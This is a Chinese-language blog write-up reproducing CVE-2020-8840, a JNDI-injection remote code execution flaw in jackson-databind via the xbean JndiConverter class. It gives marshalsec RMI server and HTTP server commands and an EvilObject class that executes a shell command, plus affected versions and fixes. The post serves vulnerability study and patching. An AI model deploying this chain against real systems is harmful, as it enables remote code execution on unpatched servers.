FasterXML/jackson-databind 远程代码执行漏洞复现(CVE-2020-8840)

0x01 背景

近日,安全监控跟踪到jackson-databind更新了JNDI注入的黑名单类,并发布了新版本,如果在项目包中存在该类的jar包且JDK版本满足注入条件,则可以使用JNDI注入的方式导致远程代码执行。

例如可以 使用 org.apache.xbean.propertyeditor.JndiConverter 这个类来 JNDI 注入。

0x02 复现

以 Jackson-databind 2.10.1 + xbean-reflect-4.15 作为漏洞环境进行复现。

依赖包如上,使用 JDNI 注入,还有同时开启 LDAP 服务 和 web 服务防止恶意反序列化类 EvilObject。

1
2
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/\#EvilObject
python -m SimpleHTTPServer 80

EvilObject 类的内容如下,由于本机计算器有问题,利用生成文件来测试。

1
2
3
4
5
6
7
8
9
10
import java.lang.Runtime;
import java.lang.Process;

public class EvilObject{
public EvilObject() throws Exception{
Runtime rt = Runtime.getRuntime();
Process pc = rt.exec("touch /tmp/cve-2020-8840");
pc.waitFor();
}
}

然后执行 Poc.java

同时此黑名单类也会影响 Fastjson,前提是成功在开启autotype(默认不开启)。

0x03 影响

jackson-databind 2.0.0 ~ 2.9.10.2

0x04 修复

  1. 更新到最新版本
  2. 使用高版本JDK
-------------本文结束感谢您的阅读-------------
坚持原创技术分享,您的支持将鼓励我继续创作!